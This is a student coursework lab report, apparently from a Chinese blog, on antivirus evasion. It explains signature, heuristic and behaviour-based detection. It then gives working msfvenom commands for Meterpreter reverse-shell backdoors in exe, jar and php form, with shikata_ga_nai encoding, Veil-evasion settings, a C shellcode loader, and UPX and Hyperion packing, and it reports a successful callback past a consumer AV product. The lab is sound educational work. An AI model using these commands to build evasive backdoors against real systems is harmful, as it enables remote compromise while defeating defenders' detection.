• NetSec2019 20165327 Exp3 免杀原理与实践


    NetSec2019 20165327 Exp3 免杀原理与实践

    pre基础问题回答

    一、免杀原理

    一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
    要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
    反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

    二、Q&A

    1、杀软是如何检测出恶意代码的?
    基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
    启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。(非精确)
    基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。(非精确)
    2、免杀是做什么?
    使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
    3、免杀的基本方法有哪些?
    ①改变特征码:对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码。
    ②改变攻击行为:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

    三、免杀效果评价

    利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
    环境:
    kali IP:10.0.2.15

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

    1、使用msf编码器

    ①用实验二学到的命令生成后门程序
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 -f exe > metyjt.exe

    ②将生成的程序上传到virus total试试结果

    ③使用msf编码器对后门程序编码10次,-i设置迭代次数

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=10.0.2.15 LPORT=5327 -f exe > metyjt-encoded10.exe

    ④上传到virus total试试免杀操作是否有效

    神马回事。。。为什么分母还变了?网的问题么?

    2. msfvenom生成jar文件

    ①生成jar后门程序:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 x> yjt_backdoor_java.jar
    ②生成文件:

    ③扫描结果:

    3. msfvenom生成php文件

    ①生成PHP后门程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 x> yjt_backdoor.php
    ②生成文件:


    ③扫描结果:

    有、、意思了

    4. 使用veil-evasion生成后门程序及检测

    打开veil:

    use evasion
    use c/meterpreter/rev_tcp.py
    set LHOST 10.0.2.15
    set LPORT 5327
    options

    结果:

    输入generate生成文件,接着输入你想要playload的名字:veil_c_5327
    生成文件:

    扫描结果:


    我操作应该没问题啊为什么和别人不一样
    我是该笑还是哭。。。

    5. 半手工注入Shellcode并执行

    首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 -f c用c语言生成一段shellcode;

    创建一个文件20165327.c,然后将unsigned char buf[]赋值到其中,代码如下:

    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    ……
    "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
    "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
    "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    ;
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    使用命令:i686-w64-mingw32-g++ 20165327.c -o 20165327.exe编译这个.c文件为可执行文件;

    扫描结果:

    使用windows上执行该程序时:


    这是可以的意思吗?! 我的电脑除了管家没专业杀毒软件……
    快速扫描:

    自定义扫描:

    这下总算扫到了。。。

    6.加壳尝试一下

    给之前的20165327.exe加个壳得到yjt_upxed.exe:upx 20165327.exe -o yjt_upxed.exe


    扫描结果:

    因为要回连,将yjt_upxed.exe放到了ncat文件夹里,查看连接情况

    加密壳Hyperion

    将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    进入目录/usr/share/windows-binaries/hyperion/中
    输入命令wine hyperion.exe -v yjt_upxed.exe yjt_upxed_Hyperion.exe进行加壳:

    扫描一下:

    任务二:通过组合应用各种技术实现恶意代码免杀

    任务一已做

    任务三:(用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本)

    免杀方法:20165327.exe,再使用压缩壳和加密壳进行加壳。
    实验环境:对方win10本机,联想电脑管家
    回连成功后:

    一直出现的问题:注入半手工shellcode虽然能降低查杀率,但是貌似不能回连,怎么回事。。。

  • 相关阅读:
    YOLOv5目标检测源码重磅发布了!
    CSS文本
    CSS3:透明度
    CSS3:HSL和HSLA
    颜色-背景色
    颜色-前景色
    列表 图像 链接
    CSS简介
    标记和插入音频视频
    表单
  • 原文地址:https://www.cnblogs.com/yjtblog/p/10629167.html
Copyright © 2020-2023  润新知